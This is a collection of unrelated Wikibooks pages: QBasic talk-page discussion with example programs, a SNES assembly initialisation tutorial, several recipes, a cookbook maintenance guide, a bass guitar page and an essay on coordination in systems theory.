text:
Talk:QBasic

QBasic != Quick Basic
 * Yes, but for the purposes of basic coding the syntax is essentially identical. Xerol Oplan 03:02, 17 December 2005 (UTC)

Why no full book view?
Is it just me or there is not a way to see the full book view of QBasic. Why is there no link to see the ull book view of this book? Thank you. My IP address is not permanent. [March 22, 2006 01] Recently registered on Wikipedia as Kushal_one [e-mail removed] just joking the e-mail address is on my talk page (I assume it is.) 202.79.62.14 22:22, 22 March 2006 (UTC)

May I suggest Restructuring
If you don't mind, I'd like to completely restructure this wikibook so it takes a more pleasing form, so people who have no programming experiance could look at this wikibook and know where to go.

One thing I will do, is add a full book view for Kushal_one. Look forward to other stuffs added to this wikibook by me.

Scud43 14:35, 7 May 2006 (UTC)

I will be going through the pages and restructuring them. I may also add images (depending on how I feel. --Grich 01:42, 9 February 2007 (UTC)

The Appendix
I am currently going through all the QBasic commands and putting them into the appendix. Wont be ready for a while and I may need help. --Grich 08:23, 6 February 2007 (UTC)

Just wondering where this could go...
I just did a major overhaul of the QBasic article on Wikipedia. In the proccess, I removed two excessively large example programs from the article, which I thought didn't belong in an encyclopedia, but were more of a tutorial thing. So here they are, I hope someone finds a place for them here:

DO CLS           'This clears the screen. It's the default first line, as it gets rid of               'unwanted text and graphics. By the way, the apostrophe is a comment. 'Everything past it is ignored by QBasic, which is why I can say anything.

PRINT "Press escape to end the insane beeping! Muahaha!" 'PRINT prints text to the screen. 'The quotes tell Qbasic that the stuff 'inside is a string. PRINT can be                                                           'replaced by a question mark "?".

DO WHILE INKEY$ <> CHR$(27) 'Checks to see if the user is pressing "escape"; the 'ASCII value of that key is represented by "CHR$(27)", 'the ASCII value of escape is 27. "DO WHILE" creates a loop, saying "Do this until 'the user whatever comes after the "DO WHILE", in our case presses escape

LET x% = INT(RND * 9000 + 100) '"LET"-This "declares" the variable. It's obsolete, so you could 'just say "x% = whatever". '"RND" generates a smallish random number. Multiplying it by 9000 'makes it a number between 0 and 9000. "+ 100" makes it between 100 'and 9100. "INT" makes it an integer (number without a                                'decimal point) and the "%" tells QBasic it's an integer, rather 'than, say, a string.

SOUND x%, 1   'This makes a sound, with its frequency (pitch) being x Hz. This number has to                'be between 36 and 32767, but ordinary speakers can't produce a frequency anywhere near '32767 Hz, and only girls and a few other humans can easily hear pitches much beyond '14000 or so. The writer of this program may have little hearing much beyond '9100 or so. ", 1" says that the sound will last 1 clock tick. A clock tick in                'QBasic happens 18.2 times a second. So, this program will make some CRAZY beeps.

LOOP          'This ties in with the "DO WHILE" part. Without this, the "DO WHILE" won't know when 'stop and start over.

PRINT "Ok, I'll stop." 'Prints "Ok, I'll stop." SLEEP 2               'Waits two seconds, then continues. Remove the "2" and it will wait for a                       'keypress. Note that different functions use different time units.

INPUT "Beep again? (y/n, then hit enter, n is default)", beep$ 'Checks to see what the user types 'before they hit enter, and stores it in a                                                                'variable ("beep")

LOOP WHILE beep$ = "y" OR beep$ = "Y" 'Tells the program to goto the start, if the users types "y"

The following code illustrates some of the structured programming features of QBasic, such as Sub-routines and functions, and loops, and some of the QBasic graphics capabilities.

' Spiro.bas ' DECLARE SUB MoveTo (x AS DOUBLE, y AS DOUBLE) DECLARE SUB Spiro (ns AS INTEGER, nw AS INTEGER, nt AS INTEGER, d AS INTEGER, spos AS INTEGER, x AS DOUBLE, y AS DOUBLE, col AS INTEGER) DECLARE FUNCTION HighestCommonFactor (a AS INTEGER, b AS INTEGER) ' ' TEST ROUTINE DIM s AS INTEGER ' loop counter DIM col AS INTEGER ' Drawing color DIM r AS INTEGER, spos AS INTEGER, x AS DOUBLE, y AS DOUBLE

SCREEN 9 ' Set screen mode to 640x350, 16 colors x = 320 ' or Max x coordinate / 2 y = 175 ' or Max y coordinate / 2 col = 1 diam = 2	' Diameter of drawing wheel spos = 100	' Starting position FOR b = 1 TO 12 ' Draw 12 spirographs Spiro 360, 120, 360, r, spos, x, y, col r = r + 2		' increase distance from centre of drawing wheel spos = spos + 10	' increase starting position col = col + 1		' next color NEXT END

' Draw the loci of a point on a circle revolving inside ' another circle, or a circle revolving round another circle. ' Parameters: ' ns,  No. teeth in stationary part (-ve = outside) ' nw,  No. teeth in wheel (-ve = clockwise) ' nt,  No. of teeth to 'do' ' r,   Radius ' spos, tooth to start at ' x, y Coordinates of centre ' col    Drawing color SUB Spiro (ns AS INTEGER, nw AS INTEGER, nt AS INTEGER, r AS INTEGER, spos AS INTEGER, x AS DOUBLE, y AS DOUBLE, col AS INTEGER) DIM n1 AS INTEGER, n2 AS INTEGER, i AS INTEGER, n AS INTEGER, no AS INTEGER DIM a AS DOUBLE, b AS DOUBLE, alpha AS DOUBLE, beta AS DOUBLE DIM offang AS DOUBLE, dab AS DOUBLE, adif AS DOUBLE, aob AS DOUBLE DIM x1 AS DOUBLE, y1 AS DOUBLE, x2 AS DOUBLE, y2 AS DOUBLE DIM PI AS DOUBLE

PI = 3.14159265358979324# n1 = ABS(ns): n2 = ABS(nw) a = n1 / (2# * PI): b = n2 / (2# * PI) IF ns < 0 THEN dab = a + b: r = -r ELSE dab = a - b   END IF    offang = (spos - 1) * 2# * PI / n1    alpha = 0#: adif = PI / n1: aob = a / b    n = (n2 / HighestCommonFactor(n1, n2)) no = 2 * n * ABS(nt) x1 = dab + r: y1 = 0# x2 = x1 * COS(offang) + x: y2 = x1 * SIN(offang) + y   MoveTo x2, y2    FOR i = 0 TO no - 1 IF nw < 0 THEN alpha = alpha - adif ELSE alpha = alpha + adif IF ns < 0 THEN beta = -alpha * aob ELSE beta = alpha * aob x1 = dab * COS(alpha) + r * COS(alpha - beta) y1 = dab * SIN(alpha) + r * SIN(alpha - beta) x2 = x1 * COS(offang) - y1 * SIN(offang) + x       y2 = x1 * SIN(offang) + y1 * COS(offang) + y        ' setcolor(col); lineto(x2, y2) LINE -(x2, y2), col NEXT END SUB

' MoveTo x, y ' For QBasic ' For other languages, replace or omit SUB MoveTo (x AS DOUBLE, y AS DOUBLE) DIM dr AS STRING dr = "BM " + STR$(INT(x)) + "," + STR$(INT(y)) DRAW "X" + VARPTR$(dr) END SUB

' Highest common factor - Euclid's algorithm FUNCTION HighestCommonFactor (a AS INTEGER, b AS INTEGER) DIM i AS INTEGER, j AS INTEGER, r AS INTEGER IF a > b THEN i = a: j = b   ELSE i = b: j = a   END IF    r = i \ j    WHILE (r <> 0) i = j: j = r: r = i \ j   WEND HighestCommonFactor = j END FUNCTION I'll try to find a place for it. --Grich (talk) 00:23, 21 May 2008 (UTC)

Hello
Hello guys! I am joining the team for creating this book. I have created the page "Advanced Graphics". Any suggestions will be very helpful. Also, there were a few pages missing in the full book view, I have added them. Next, I have attempted to make the Qbasic home page a bit better. Please also tell if you find any problems. I will also be adding a few things to the "Appendix" and making some new chapters. I have, in my changes set the book completion status to 50%, because , in my opinion , it was already quite completed. Also, if any one in this group is a reviewer, it will be very helpful if you check and review the changes I have made. Thanks in advance. Debanshu.Das (discuss • contribs) 15:15, 4 June 2019 (UTC)

Author names
Hey guys, I am uploading the pdf version of this book, I require all author names. Quickly please! Debanshu.Das (discuss • contribs) 16:50, 5 June 2019 (UTC)

REVIEWING
Well, my edits have been sitting for what seems like an eternity. Please, someone review them!

Advanced Graphics and Qbasic home page. Debanshu.Das (discuss • contribs) 09:36, 7 June 2019 (UTC)

 * I may be able to take a look in a few hours. Don't get too worried about articles not getting reviewed immediately.  It does no harm, makes no huge short-term difference except on Wikijunior where edits aren't visible by default until reviewed. --Pi zero (discuss • contribs) 10:58, 7 June 2019 (UTC)

Author names
Author names please. The authors page is in quite a bad shape. Write the names in this format: Name: Contribution(page)

if anyone has not created any page, but edited them, write Name:Edit(page)

Thanks.

Templates to be used
I have created templates Template:Chaptermark and Template:booksource. Please see if they are good and if i can use them in the book. Debanshu.Das (discuss • contribs) 09:36, 9 June 2019 (UTC)
 * Their docs don't provide any example to judge... JackPotte (discuss • contribs) 10:34, 9 June 2019 (UTC)

Included the examples
Thanks for telling me about that "example-less" mistake. I have made the changes. Please see now. Debanshu.Das (discuss • contribs) 16:43, 9 June 2019 (UTC)
 * OK, it looks pretty good. JackPotte (discuss • contribs) 22:04, 9 June 2019 (UTC)

Thanks
Thanks! I was thinking of using the chaptermark template to give a nice look to the chapters list. What do you guys think?Debanshu.Das (discuss • contribs) 15:40, 10 June 2019 (UTC)

title: Talk:QBasic


text:
Super NES Programming/Initialization Tutorial

Color 00000000 11100000 In this tutorial we cover initializing the Super Nintendo and changing the background to a beautiful shade of green.

Required Tools

 * The WLA-65816 Macro Assembler. There are the binaries for Linux 32 bit
 * A SNES emulator, such as bsnes, Zsnes or Geiger's debugging version of Snes9x, for windows.
 * An initialization routine and a header. The initialization routine is self-explanatory; it's a piece of code that clears/resets system values and sets the SNES up for use. The header contains assembler directives for WLA which do things like define the ROM's name, size, vectors, etc.

Assembler directives
If you decide to put the init routine and the header in separate files, it will be necessary to tell the assembler to include them. .include "Header.inc" .include "Snes_Init.asm" VBlank:   ; Needed to satisfy interrupt definition in "header.inc" RTI This part can be skipped by putting the header and init code in your main file.

You can find the ASM-code for the Snes_Init.asm here on Wikibooks, and you can find  the header here.

While not necessary to get this project to work correctly, it should be noted that in order for the VBlank subroutine to actually be called, you would need to enable NMI interrupts as below. lda #$80    ; Set NMI enable bit sta #$4200

Starting the program
In the header file, the label "Start" is declared as the reset vector, so that is where the program shall begin executing:

Start:

Initializing the SNES
Most demos reset the SNES to a known state. Since emulators probably start in a known state, it may be unnecessary to reset the state for an emulated ROM. Resetting the SNES, however, may be necessary for the demo to run on actual SNES hardware.

To reset the SNES, we set a number of hardware registers to zero and zero all the bytes in WRAM. Here, we use the initialization macro Snes_Init from the file "Snes_Init.asm" from the SNES Devkit, which does this for us:

; Initialize the SNES. Snes_Init

Setting the background color
First, we set the accumulator to 8 bits, to modify single bytes of RAM. We do this by setting the appropriate bit in the CPU status register:

sep    #$20        ; Set the A register to 8-bit.

Step 1: Force VBlank
The SNES refreshes its screen to match the signal output to the television, so knowing how the television updates its image can help you understand how certain special effects are performed in the SNES.

A television displays an image on the screen using an electron beam, which it sweeps across the screen from left to right, one horizontal line at a time from top to bottom. Additionally, television images are interlaced, meaning that the television alternates displaying a screenful of all the even-numbered scanlines with a screenful of all the odd-numbered scanlines; each screen of even- or odd-numbered scanlines is called a field. An NTSC television (as used in the U.S. and Japan) displays roughly 30 frames per second, while a PAL television (as used everywhere else) displays 25 frames per second. Thus, an NTSC television displays about 60 fields per second, while a PAL television displays 50 fields per second.

Between lines, when the electron beam is being moved from the right end of one scanline to the left beginning of the next scanline, the electron beam is turned off; this is called the horizontal blank or HBlank. Certain special effects -- like the perspective effects of the Final Fantasy VI airship -- can be performed on the SNES by changing graphics settings during HBlank.

Likewise, between fields, when the electron beam is being moved from the bottom of the screen to the top, the electron beam is turned off; this is called vertical blank or VBlank. If you update the screen while the electron beam is turned on, the results displayed to the user are unpredictable; they may shear or have other artifacts. Therefore, you want to make all your modifications to the screen during HBlank or VBlank. Since VBlank is much longer than HBlank and covers the whole screen, most updates should be done during VBlank. VBlank occurs once per field, or about 60 times per second on NTSC machines and 50 times per second on PAL machines.

There are two ways to ensure that your code executes during a VBlank:
 * Wait for a VBlank non-maskable interrupt (NMI).
 * Turn off the screen by setting the eighth bit of the Screen Display Register ($2100).

Here, we force VBlank by turning off the screen, using the following code:

lda    #%10000000  ; Force VBlank by turning off the screen. sta    $2100

Step 2: Setting the Background Color
The SNES stores 16-bit colors in the following format:
 * High byte: 0bbbbbgg
 * Low byte: gggrrrrr

The color that we will use is 00000000 11100000 (0 blue, 7 green, 0 red) -- a dark green. We set the background color of the screen using the Color Data Register ($2122):

lda    #%11100000  ; Load the low byte of the green color. sta    $2122 lda    #%00000000  ; Load the high byte of the green color. sta    $2122

Step 3: Ending VBlank
We end the VBlank by turning the screen back on and setting the brightness to 15, again using the Screen Display Register ($2100):

lda    #%00001111  ; End VBlank, setting brightness to 15 (100%). sta    $2100

Ending the program
Unlike many computer programs, SNES programs aren't really designed to end. SNES games are intended to keep running until the user turns the system off or presses reset. In our case, though, the SNES has done all that we wanted it to do, and now we would like it to sit still and not change anything. We accomplish this with an infinite loop:

; Loop forever. Forever: jmp Forever

If we didn't have this loop at the end, the SNES would start executing any code or data that happened to follow our program, which may make the SNES do something that we didn't intend.

Alternatively, we also could've used the "STP" command. This command stalls the SNES' CPU until the console is reset. The endless loop is a good practice, though, because eventually we'll need a main program loop, and that is what this will become.

Assembling the ROM
Once we have our program in a file -- let's call it "Greenspace.asm" -- we want to assemble it into a ROM image, so that we can run it in an emulator. First, we execute the WLA 65816 assembler to turn the assembly file into an object file:

wla-65816 -o Greenspace.obj Greenspace.asm

This should create the object file "Greenspace.obj</tt>".

Then, we need to link the object file into a ROM. The WLA linker requires a link file that lists the files to be linked. We'll make one called "<tt>Greenspace.link</tt>" with the following contents:

[objects] Greenspace.obj

Then, all we need to do is to execute the WLA linker:

wlalink Greenspace.link Greenspace.smc

This should create the ROM image "<tt>Greenspace.smc</tt>", which we can then run in an emulator.

To make the compile and link steps easier to run repeatedly -- as we might want to do when alternating between editing and testing -- we can put the commands in a shell script, "<tt>Greenspace.bat</tt>" in DOS/Windows, or "<tt>Greenspace.sh</tt>" for UNIX.

wla-65816 -o Greenspace.obj Greenspace.asm wlalink Greenspace.link Greenspace.smc

If you use UNIX you need to add #!/bin/bash as the first line of the file. Under Windows, it's a good idea to add @echo off as the first line.

Alternatively, if you are on a UNIX-based platform, it is possible to create a makefile and use the make utility. To do this, create a file named "<tt>makefile</tt>".

Greenspace.smc: Greenspace.asm Greenspace.link wla-65816 -o Greenspace.obj Greenspace.asm wlalink Greenspace.link Greenspace.smc

After creating this file, simply use the "<tt>make</tt>" command, and "<tt>Greenspace.smc</tt>" will be created.

Complete source code
Problems? Seeing default black? Tell us on the discussion page.

Generated ROM file

 * SnesInitializationROM.smc.

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Cookbook:Grunt Work

Building and maintaining this cookbook requires work, some of which is tedious. It is good to pitch in, doing your part to take care of things. Here are some of the many things you can do.

Stop spammers and vandals
Notice the "Recent changes" link in the left sidebar. You can use this to see the most recent modifications. There is a drop down menu near the top of the list that lets you select a specific namespace. Choose the "Cookbook" namespace, and click the go button.

Now you can see all the recent cookbook edits. You can revert an edit by going to the page history, choosing the most recent good version, editing that version (note the warning you'll see), and saving the result. If you are fairly sure that the bad edit was intentionally bad, get an admin to block the user. You can report problems in the administrative assistance reading room.

Improve pages
Check the stub category and cookwork pages needing improving categories for pages that need help with.

Nominate and judge potential editors
Requests for permissions require votes. Without votes, progress will tend to be slow. Without editors, the vandals and spammers run wild. If you see a user who appears fit to be an editor, you should nominate them on that page. While there, vote for all the candidates who seem decent to you.

Add pictures for ingredients and tools
See Wikimedia Commons for where the pictures are or should be. Start at Category:Food as a first place to look, but some images may not be properly categorized.

Many US government sites are excellent sources of public domain (no copyright) pictures. You can use Google image search with the site:gov option to find these. To be more specific, site:usda.gov or site:fda.gov can be used. Use site:mil for military sites (as the military does serve food). In general, do not use these photos for recipes. After you find an appropriate image, upload it either here or at Commons, and add it to the pages.

Add pictures for recipes
For recipes, you really should cook the food. For example, this cookbook has two lemon meringue pie recipes. The pies look and taste different from each other, although they are similar. It would be bad to use a generic picture from an unknown recipe. As above, images can be stored at the Wikimedia Commons to make images available for all Wikimedia Foundation projects, or uploaded to Wikibooks for cookbook-only use.

When taking pictures, try to use something other than a yellowish 60W light bulb and Xenon flash. Natural sunlight, GE Reveal bulbs, and most plant (greenhouse) lights will work well, especially if you can hold the camera steady and suppress the flash. Try to show both the inside and outside of foods where this would be applicable. Cropping the image would be a good idea; use the jpegtran program with the lossless-crop option if you have it.

Standardize formatting and add links
All cookbook pages should have links at the top to various parent-like pages, with the Cookbook link itself at the left. For simplicity and aesthetic reasons, separate these links with the "|" symbol. Add category links at the bottom of the page. Use   if you need to keep pictures from spilling into the wrong section. Use a bullet list for ingredients, and a numbered list for the procedure. Link most alcoholic drinks into the Bartending guide instead of into the Cookbook. Link all ingredients the first time they are used. Also do this for units of measurement and the less-well-known equipment.

The casing for book titles should match that of Wikibook's scheme for titles, that is, title-case (e.g. "Fish and Chips"). Keeping page names in sentence-case violates Wikibook's page naming convention, see the manual of style. To make linking easier, redirect pages should be created, so links to either title appear as "blue" active links, and duplicate pages are not created. At least one contributor prefers actions ("Boiling", not "Boil" or "Boiled") in gerund form. They also advocate keeping ingredient lists in lower-case.

Help describe and rate the recipes
Many recipes are poorly described. Beginning cooks can not imagine what the result is supposed to be like. You can describe the food right at the top of the recipe. You can discuss your cooking attempts on the recipe's talk page. If you are able to compute Calories accurately, you might do so. It would be helpful to assign difficulty levels and total preparation times.

Convert units
Leave the original units as they are, whatever they may be, and add the new units in parentheses after them. Unit conversion requires more care than most people expect. A "Large" egg in the USA is about the same as a "size M" egg in the EU; you should remove the size indication if you believe it refers to one of these normal sizes. The USA uses Queen Anne units, while Britain uses imperial (and metric) units. Imperial units are generally about 20% larger than Queen Anne units, so look for signs of a non-USA recipe author (based on food terms and spelling) before you convert the units. Be aware of the distinction between ounces (mass or weight) and fluid ounces. Proportion is important: if you convert 1/2 t as 2 mL then use 4 mL for 1 t and 190 mL for 1 c, but if you convert 1/2 t as 3 mL then use 6 mL for 1 t and 285 mL for 1 c. Adjust the pan size, serving count, and eggs (ouch) as required to match.

Get junk pages deleted, and save the legit pages
Simply add   to the top of any page that no reasonable person might want to keep. If there has been significant human effort put into the page, you should instead place the page up for a deletion vote and use   to mark the page. At the WB:RFD page, you can also vote on other pages that have been put up for a deletion vote. Be sure to vote based on the quality of the page; for example a vegetarian should take care to vote in favor of something like the Cookbook:Beef page in spite of any personal disgust at the concept of eating beef.

Link from Wikipedia to the Cookbook
Many topics (recipe, ingredient, tool, activity) discussed here in the Cookbook are also covered in Wikipedia. From a page over there, you can link to a cookbook page called Cookbook:Example by using   to make the link. This should be placed at the very top of an "External links" section, alongside other similar sister project templates; the result will be a box on the right side of the page. See the template page for more advanced usage.

title: Cookbook:Grunt Work


text:
Cookbook:Marshmallows

| Confectionery

Marshmallows are a light, spongy confection made primarily with sugar and gelatin, although some recipes contain egg whites.

Ingredients

 * About 1 cup (125 g / 4.4 oz) confectioners' sugar
 * 3 ½ envelopes (2 tbsp plus 2 ½ tsp) unflavored powdered gelatin
 * ½ cup (125 ml / 4.2 oz) cold water
 * 2 cups (450 g / 16 oz) white granulated sugar
 * ½ cup (160 g / 5.6 oz) light corn syrup
 * ½ cup (125 ml / 4.2 oz) hot water (about 115°F / 46.1°C)
 * ¼ tsp salt
 * 2 large egg whites
 * 1 tsp vanilla extract
 * ½ cup (125 ml / 4.2 fl oz) vegetable oil

Procedure

 * 1) Oil the bottom and sides of a rectangular metal baking pan, and dust the bottom and sides with some confectioners' sugar.
 * 2) In bowl of standing electric mixer or in a large bowl, sprinkle gelatin over cold water and let stand to soften.
 * 3) In a 3 quart (2.8 L) heavy saucepan, cook granulated sugar, corn syrup, hot water, and salt over low heat, stirring with a wooden spoon, until sugar is dissolved.
 * 4) Increase heat to moderate and boil mixture, without stirring, until a candy or digital thermometer registers 240 F, about 12 minutes. Remove pan from heat and pour sugar mixture over gelatin mixture, stirring until gelatin is dissolved.
 * 5) Using a standing or a hand-held electric mixer, whip mixture on high speed until white, thick and nearly tripled in volume (about 6–10 minutes).
 * 6) In a large bowl with cleaned beaters, whip whites (or reconstituted powdered whites) until they just hold stiff peaks. Beat whites and vanilla into sugar mixture until just combined.
 * 7) Pour mixture into baking pan and sift ¼ cup confectioners' sugar evenly over top. Cool marshmallow, uncovered, until firm (at least 3 hours and up to 1 day).
 * 8) Run a thin knife around edges of pan and invert pan onto large cutting board. Lifting up 1 corner of inverted pan, with fingers loosen marshmallow and let drop onto cutting board.
 * 9) With a large knife trim edges of marshmallow and cut marshmallows into roughly 1-inch cubes. Sift remaining confectioners' sugar into a large bowl and add marshmallows in batches, tossing to evenly coat.

Notes, tips, and variations

 * Try coating with toasted coconut or cocoa powder instead of powdered sugar.

title: Cookbook:Marshmallows


text:
User talk:68.226.0.222

If you get an account, you can move pages.

title: User talk:68.226.0.222


text: Use the Source/Licenses

title: Use the Source/Licenses


text:
Guitar/Bass Guitar

Bass guitars have similar design features to other types of guitar but scaled up: thicker strings, longer neck and larger body, etc. This allows lower notes to be created when the strings are tuned to a playable tension. They are sometimes categorized as guitars but are also categorized as a separate instrument.

Although there are many variations, the standard bass guitar has four strings tuned EADG, from lowest pitch string to highest, one octave lower than the bottom four strings of a guitar in standard tuning. The next most common variant is the five string, tuned BEADG. While the bass guitar can be played like an oversized guitar, by playing chords, this chordal style is rare on bass. Rather, bass is often used to play single notes. Bass also draws much inspiration from double bass playing, notably the smooth quarter note style calked "walking bass" which is used in jazz, blues and country. The electric bass has a vocabulary of playing styles and music all of its own, including slapping and popping.

Slapping And popping
One of the distinguishing features of the bass guitar is the percussive slap style. It is most associated with funk, but it is also used in sone pop, jazz fusion and nu metal styles. It is typically distinct to the bass guitar, although it has been used on acoustic guitars by skillful players.

Slapping is accomplished by percussively striking the string - usually E or A on a standard tuned bass - with the left hand side of the thumb (for a right-handed player). This is done towards the neck of the bass. The thumb is then pulled away as quickly as possible, to create a distinct, "fretty" noise.

Popping is accomplished by curling the fingertip of the index or middle finger under the string - usually the D or G string. The string is then plucked to create a similar sound to slapping on the thicker strings. This is, again, performed towards the neck of the bass. Fretting hand and playing hand muting and percussive "ghost notes" are a key part of the distinctive sound of slapping and popping.
 * Slap Bass Tutorial Video (Free)

Different tunings
The "standard" bass is a 4 string bass, tuned EADG (low to high). Other variations of this tuning include DADG ("drop D") and rarely iiCGCF. These lower tunings are often used in metal and heavier music, as they extend the instrument's range lower. Altering the tuning of a bass to a lower range (or any other fretted instrumented) by reducing string tension can cause problems that new players should be aware of: looser strings are more prone to "fret buzz", in which a string rattles on the fretboard, producing a sound that is usually unwanted. Loosening strings also alters the tension on the neck, which can lead to warping the neck.

To achieve a clear tone on notes lower than standard tuning, a standard five string bass adds a low B string, with the bass normally tuned BEADG (low to high). Some players may restring a 4-string bass as BEAD, leaving off the high G. There are thick strings that go even lower in range, however these are typically found only on specialty instruments.

Bass runs
Bass runs or "fills" are used to add interest and to transition frommone chord to another. For example if one wants to change from a C chord bassline to an Am chord bassline, they could do a scalar run that adds a B note to connect the C to the A.

title: Guitar/Bass Guitar


text:
Systems Theory/Coordination

Coordination
Coordination may be defined as the process of managing dependencies between activities (Malone & Crowston, 1994). The need for coordination arises from the fact that literally all organizations are a complex aggregation of diverse systems, which need to work or be operated in concert to produce desired outcomes. To simplify the picture, one could decompose an organization into three broad components of actors, goals and resources. The actors, comprising of entities such as management, employees, customers, suppliers and other stakeholders perform interdependent activities aimed at achieving certain goals. To perform these activities, the actors require various types of inputs or resources. As explained later in the paper the inputs may themselves be interdependent in the ways that they are acquired, created or used. The goals to which the actors aspire are also diverse in nature. Some of them will be personal while others are corporate. Even where the goals are corporate, they address different sets of stakeholders and may be in conflict.

Calls for coordination are evident is situations where a) temporality is a factor, such that effects of delays or of future consequences of today’s decisions are not immediately apparent b) there is a large number of actors c) there is a large number interactions between actors or tasks in the system or d) where combinations or occurrences in the system involve an aspect of probability (stochastic variability). In summary, the more complex the system (and organizations are complex aggregations) the more coordination is necessary.

Multiple actors and interactions, resources and goals need to be coordinated if common desired outcomes are to be achieved. Viewed from the need to maintain perspective and solve problems that might arise from these multiplicities, coordination links hand in glove with the concept of systems thinking.

In contrast to traditional methods of problem analysis, system thinking focuses on how a component of a system under study interacts with other constituents of the same system (Aronson, 1998). Organizations are systems in the sense that they comprise of elements that interact to produce a predetermined behavior or output. Traditional analysis approaches focus on isolating individual parts. The systems thinking approach instead works by expanding the analytical spectrum to take into account the broader picture of how the constituent parts of the system interact with each other. Change in a constituent part of a system may constrain efficient functioning of other parts of the same system or alter required input or output specifications. Others, especially resources, may need to be used in combination to achieve desired changes. The point here is that looking at small parts of an interacting system involving multiple actors, resources and goals may accentuate a problem that analysis seeks to solve. Coordination, in a systems thinking approach fashion is called for.

Crowston (1998) refers to coordination theory as “a still developing body of theories about how coordination can occur in diverse kinds of systems. According to this theory, actors in organizations are faced with coordination problems. Coordination problems are a consequence of dependencies in the organization that constrain the efficiency of task performance. Dependencies may be inherent in the structure of the organization (for example, departments of a university college interact with each other, constraining the changes that can be made to a single department without interfering with the efficient functioning of the other departments) or dependences may result from processes - task decomposition or allocation to actors and resources (for example, professors teaching complementary courses face constraints on the kind of changes they can make without interfering with the functioning of each other).

The solution to coordination problems, according to coordination theory, lies in the actors performing additional activities called coordination mechanisms. A professor who wishes to change a course module must check if the changes will affect other courses in the department and other departments in the college. The theory maintains that dependences and mechanisms to counter them are general in the sense that they arise in one form or another in nearly every organization. The theory this makes a recommendation that it is essential to identify and study dependences in a system and their related coordination mechanisms before decisions are made or action taken. Actors must also realize that there are several mechanisms to manage a dependency each of which may result in different processes. The ideal one should be based on situational factors and often involves trade offs. To summarize, an organization considering change (or an organization in the process of formation) ought to first identify inherent dependences and coordination problems likely to be faced and then choose from alternatives the coordination mechanism that best achieves the desired goals in the circumstances (Crowston, 1998). A key point here is that coordination mechanisms are variable parts of the organization system and that choice of a specific mechanism has consequences for efficiency and goal achievement.

A simplified typology of the kind of dependences that call for coordination in an organization may be: a) Task-task: o	Tasks may have overlapping, conflicting or outputs with the same characteristics; o	Common inputs for tasks may be shareable, reusable or non-reusable o	The output of one task may be the input of other tasks or a prerequisite for performing subsequent tasks. There may be conflict in specifications that need coordination. b) Task-resource i.e. resources required by a task c) Resource-resource: a situation in which one resource depends on another resource. Each of these dependences requires an appropriate coordination mechanism to manage it.

In conclusion, solution to organizational problems, implementation of change or formation of a new organization involves the management of numerous dependences among tasks, resources and goals. Dependences are best managed by coordination of the dependent parties. The choice of a specific coordination mechanism results in a unique organizational form and/or processes that have consequences for achievement of organizational goals. Coordination is a constituent application of systems thinking in the sense that it requires an organization wide examination in how a change in one component of the organization affects other components of the same system. The aim of coordination is not new; improvement of performance is a universal organizational goal. Approaching the task from a broad perspective differs from the traditional mechanisms of analysis i.e. breaking down the problem into small parts. Finally focusing on dependences and coordination mechanisms is not a one-time effort. For organizations in dynamic environments, it is a recurring theme.

title: Systems Theory/Coordination


text:
Cookbook:Grotten Hans (Steamed Sweet Bread)

Grotten hans is a recipe that has been called a big dumpling but is basically a steamed pudding. The recipe was traditional in the German areas of Russia.

Batter

 * ¼ cup lard or oil
 * 1 tsp salt
 * 1 cup milk
 * 2 tsp baking powder
 * ½ cup white granulated sugar
 * 3 eggs, beaten
 * 3 cup flour

Raisin sauce

 * 2 cup raisins
 * 2 cup water
 * 1 tsp lemon juice
 * 1 scant tsp cinnamon
 * ½ cup white granulated sugar
 * Cornstarch

Procedure

 * 1) Cream together lard, sugar and salt. Mix in eggs.
 * 2) Combine flour and baking powder. Add this flour mixture to the lard mixture alternatively with the milk. Mix well.
 * 3) Pour batter into a well-greased 2-pound coffee can or other heat-safe mold. A piece parchment paper on the bottom of the can works well to prevent sticking. Cover with foil, and tie this on with a string.
 * 4) Set this tin into a large pot of hot water a few inches (~3) deep. Let steam for 2 hours.
 * 5) Mix raisins, water, lemon juice, cinnamon and sugar in a saucepan. Simmer for 1 hour. Mix in a bit or cornstarch, and cook until thickened.
 * 6) Unmold the grotten hans, and serve with the sauce.

Notes, tips, and variations

 * The old way to cook this involved boiling in a cloth: Dip a towel in hot water, then cold water, then sprinkle with flour. Pour dumpling batter onto towel and tie up. Drop into boiling water and cook for 2 hours.
 * Cherry sauce is nice also.


text:
Cookbook talk:Grotten Hans (Steamed Sweet Bread)

This is a recipe from my 3rd - 4th generation German American Rauert family. I tried to find other references on the Internet to see how others cooked it but it must be called something different. "Grotten Hans" is a guessed spelling of a Low German phrase from my grandmother. liblamb 00:39, 24 Apr 2005 (UTC)


text:
Cookbook:Jambalaya II

Ingredients

 * 3 lbs (1400 g) cooked chicken strips
 * 1 cup (240 ml) chopped onion
 * 1 cup (240 ml) chopped green bell pepper
 * 2 ribs celery, chopped
 * 2 cloves garlic, minced
 * ½ cup (120 ml) diced cooked ham
 * 2 cans (29 ounces / 800 g total) stewed tomatoes
 * 2 cups (480 ml) chicken broth
 * 1 cup (240 ml) uncooked long grain rice
 * 3 Tbsp olive oil
 * 2 tsp thyme, crumbled
 * ½ tsp paprika
 * 1 ½ tsp salt, or to taste
 * ¼ tsp pepper

Procedure

 * 1) Heat olive oil in a large skillet; add chicken and paprika, then brown on all sides.
 * 2) Remove chicken from skillet.
 * 3) Add onion, green bell pepper, celery, and garlic. Sauté over low heat until onion is tender, about 10 minutes.
 * 4) Stir in ham, tomatoes, chicken broth, rice, thyme, salt, and pepper.
 * 5) Add chicken and turn to coat with sauce. Bring to a boil.
 * 6) Reduce heat, cover, and simmer for 15 minutes.

title: Cookbook:Jambalaya II


text:
User:Mikm~enwikibooks

...

title: User:Mikm~enwikibooks


text:
Talk:Guide to Social Activity/Courtship

Deletion discussion (Kept, no consensus to delete)
Keep and Edit Most of the material is indeed unvarifiable and not easily scientifically proven, however it is usefull. Many of the techniques in social research indeed is controversial. Neverthelsess keep it and rather than deleting it allow it to remain and fix itself so that the most fundamental principles can surface themselves. Original, finished work should go to Wikisource. Wikibooks is a place to develop books.

My main concern right now is that it is not presented as a book or as a guide, but more or an encyclopedia entry. To be truly usefull as a book, textbook or a guide which it claims to be, it must be writen from the perspective or "how" versus the present "what". We are not talking about what it is, we are talking about how to do it. Let's stop asking what it can do for me and start asking how I can make it better.

--Seductionreport.com 06:57, 31 December 2005 (UTC)

Some parts of this book seem to be similar to the now-deleted Getting a Girl. (See /Archive). The other parts seem like a simple joke. -- mattrix 21:52, 5 Feb 2005 (UTC)
